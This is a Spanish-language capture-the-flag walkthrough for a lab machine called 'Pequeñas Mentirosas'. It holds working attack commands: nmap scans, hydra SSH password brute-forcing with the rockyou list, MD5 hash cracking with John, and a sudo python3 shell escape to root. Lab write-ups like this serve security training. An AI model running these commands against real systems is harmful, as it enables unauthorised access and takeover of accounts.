# Pequeñas Mentirosas

### 🔍 RECONOCIMIENTO

En primer lugar, tras conectarnos a la máquina, utilizamos el comando:

```bash
ping -c 1 172.17.0.2
```

para verificar la conectividad de red.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2Ft7sdrqoI3Q5vARop4UgB%2Fimagen.png?alt=media&#x26;token=bcdcf515-edcf-4847-969c-2f735f1b9bfc" alt=""><figcaption></figcaption></figure>

A continuación, realizamos el comando:

```bash
nmap -sVC -p- -n --min-rate 5000 172.17.0.2
```

para realizar un escaneo de puertos y servicios detallado en la dirección IP.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FXJa7lEWNg8n8NaXvyE0Z%2Fimagen.png?alt=media&#x26;token=01f1f7f7-18dd-4789-917c-f529988a3a58" alt=""><figcaption></figcaption></figure>

Como podemos observar durante el escaneo que el **puerto 22** perteneciente al **servicio SSH** y el **puerto 80** perteneciente al **servicio HTTP** están abiertos por lo que a continuación se indagará más.

### 🔎 **EXPLORACIÓN**

Se utiliza el comando:

```bash
sudo nmap -sCV -p22,80 -v 172.17.0.2
```

para obtener más información sobre esos puertos específicamente.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FjbV2g5iH4tkAtHn0lym3%2Fimagen.png?alt=media&#x26;token=2c586983-024a-420f-90b1-6563612d701e" alt=""><figcaption></figcaption></figure>

Seguimos indagando más sobre los puertos y ahora indagamos sobre el **servicio HTTP**. Se ingresó la **dirección IP** en el navegador lo que llevó a que la página web nos mencione una pista y descubrimos que puede ser un usuario llamado **A** y tiene sentido ya que es un personaje de la serie de **Pequeñas Mentirosas**.&#x20;

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2F2AWnR9grCoLuhe5XzJw8%2Fimagen.png?alt=media&#x26;token=239bf38a-ea31-4007-936b-d487eed0f1b7" alt=""><figcaption></figcaption></figure>

### 🚀 **EXPLOTACIÓN**

Con la información obtenida anteriormente, realizamos el comando:

```bash
hydra -l a -P /usr/share/wordlists/rockyou.txt ssh://172.17.0.2 -t 5
```

que utiliza la herramienta **Hydra** para realizar un ataque de fuerza bruta contra el servicio **SSH** de una máquina con la IP **172.17.0.2**.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2Fd66vdpxf3sY06aDgw52h%2Fimagen.png?alt=media&#x26;token=3bc287e4-1e90-4fd3-9838-0957be386fa2" alt=""><figcaption></figcaption></figure>

Al realizar el ataque de fuerza bruta, hemos descubierto la contraseña de **a**. Sabiendo esto, nos conectamos a través de **SSH** al usuario con el comando:

```bash
ssh a@172.17.0.2
```

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FH8xA20DlA8QINpoqqMPm%2Fimagen.png?alt=media&#x26;token=470ebeeb-381b-4af1-a93e-fc1e18236724" alt=""><figcaption></figcaption></figure>

Al listar el contenido del directorio, no encontramos ningún archivo. Es importante recordar que los archivos asociados con los servidores se almacenan en el directorio `/srv`.&#x20;

```bash
cd /srv/ftp
```

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2Fvu4Zrf5KfjrpHLW2JMuT%2Fimagen.png?alt=media&#x26;token=8412593c-40bf-4470-8d75-62df10375fde" alt=""><figcaption></figcaption></figure>

Nos descargamos a nuestro equipo esos archivos.&#x20;

```bash
scp a@172.17.0.2:/srv/ftp/* ~/Desktop/
```

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FcfBxRyJ7Z7vnBCTxaZLH%2Fimagen.png?alt=media&#x26;token=4270dd6f-84ba-4d83-9996-ea3b84c1d22e" alt=""><figcaption></figcaption></figure>

Indagamos poco a poco nos llama la atención sobre los ficheros de texto denominados `retos`.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FfagV8IgaulE429HmYLnc%2Fimagen.png?alt=media&#x26;token=2279c1aa-d9e3-4c0a-833f-ea401ba266ca" alt=""><figcaption></figcaption></figure>

Sabiendo eso tenemos que desencriptar el archivo `cifrado_aes.enc` con la clave del archivo `clave_aes.txt` con el comando:

```bash
openssl enc -d -aes-128-cbc -in cifrado_aes.enc -out desencriptado_aes.txt -k thisisaverysecretkey!
```

El archivo resultante contiene:

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FK60yOtKWJtg729ijaNzE%2Fimagen.png?alt=media&#x26;token=29d30cd7-a75f-45f5-bff2-fc3caf3e24ec" alt=""><figcaption></figcaption></figure>

No contiene nada relevante seguimos con el archivo `retos_asimetrico.txt` con el comando:

```bash
openssl pkeyutl -decrypt -in mensaje_rsa.enc -out desencriptado_rsa.txt -inkey clave_privada.pem
```

Pero nos vuelve a parecer el mismo resultado:

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FiAF5aHXUEhEcXw9ZMjzj%2Fimagen.png?alt=media&#x26;token=01364514-1ad9-4ec2-a98d-26686cb1fc21" alt=""><figcaption></figcaption></figure>

Vemos que hay un archivo `hash_spencer.txt` posiblemente **spencer** sea un usuario  por lo que a lo mejor ese **hash** es una contraseña. La podemos descifrar de dos maneras: la primera con **John** y la segunda con **Hydra** suponiendo que **spencer** es un usuario.

```bash
john --format=raw-md5 hash_spencer.txt
```

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FUyIzmuD96vu12Fi3BNhQ%2Fimagen.png?alt=media&#x26;token=21f4c23e-6852-4172-88d3-2688e9785cc8" alt=""><figcaption></figcaption></figure>

```bash
hydra -l spencer -P /usr/share/wordlists/rockyou.txt ssh://172.17.0.2 -t 5
```

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2Fr7pdnqGYDqHAK9GhkaL7%2Fimagen.png?alt=media&#x26;token=ea73bfdf-0064-47a2-8aab-5411f3ca3859" alt=""><figcaption></figcaption></figure>

```bash
ssh spencer@172.17.0.2
```

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2Fqei0utJu5ct2eRVxHfRx%2Fimagen.png?alt=media&#x26;token=f653732a-7b12-4e48-a42d-009243d63438" alt=""><figcaption></figcaption></figure>

### 🔐 **PRIVILEGIOS**

Al estar dentro y ejecutar:

```bash
whoami
```

aún no somos **root**, por lo que hacemos:

```bash
sudo -l
```

para ver si hay algo para explotar.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FOiaVv8l59sjyQktx6TVN%2Fimagen.png?alt=media&#x26;token=3f8c19ce-6ff1-4b1c-b745-8d86f66a0273" alt=""><figcaption></figcaption></figure>

Se ha identificado que podemos ejecutar `/usr/bin/python3` con permisos de `sudo`. Para escalar privilegios, utilizaremos [GTFObins](https://gtfobins.github.io/gtfobins/python/), que proporciona una lista de comandos que se pueden ejecutar utilizando Python.

Esto nos permitirá aprovechar el entorno de Python para ejecutar código que nos ayude a obtener acceso a niveles más altos de privilegio en el sistema.

```bash
sudo python3 -c 'import os; os.system("/bin/sh")'
```

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FJL6Zedqw2Yy2vzsmZlTf%2Fimagen.png?alt=media&#x26;token=f23a908a-1b97-49bd-9946-e7155fb8becd" alt=""><figcaption></figcaption></figure>

Ya somos **root** por lo que hemos conseguido tener los máximos privilegios.&#x20;

> **Nota**: los demás archivos son para despistar.
